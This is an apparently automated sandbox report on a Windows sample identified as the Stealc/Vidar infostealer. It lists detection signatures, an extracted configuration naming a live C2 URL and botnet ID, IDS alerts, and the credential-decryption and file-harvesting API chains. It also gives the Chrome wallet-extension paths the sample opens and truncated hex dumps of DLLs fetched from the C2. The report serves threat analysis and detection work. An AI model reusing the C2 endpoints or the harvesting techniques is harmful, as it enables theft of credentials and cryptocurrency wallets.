Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541679
MD5:	73ad7e38fca04042535133a8e77cb2a7
SHA1:	b0844b2103bdac3af2b73dd03f0eb5f3b21eeb85
SHA256:	cd7a9a17ce5febea2ae4953d4835e192da93503606748e84e68c9d91868ba29d
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5916 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 73AD7E38FCA04042535133A8E77CB2A7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2173789827.0000000005050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5916	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5916	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5916	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5916	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.9f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T01:27:09.543815+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49711	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T01:27:09.536542+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T01:27:09.818521+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T01:27:10.929684+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T01:27:09.825713+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49711	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T01:27:09.255688+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T01:27:12.216008+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:21.189700+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:22.344887+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:22.945537+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:23.384342+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:24.209616+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:24.536238+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.9f0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.9f0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_009F9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_009FC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_009F9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_009F7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A08EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00A08EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CAE6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A04910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A04910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_009FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_009FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A03EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00A03EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009FF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_009FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00A038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_009FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A04570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00A04570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009FDE10

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49711 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 23:27:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 23:27:21 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 23:27:22 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 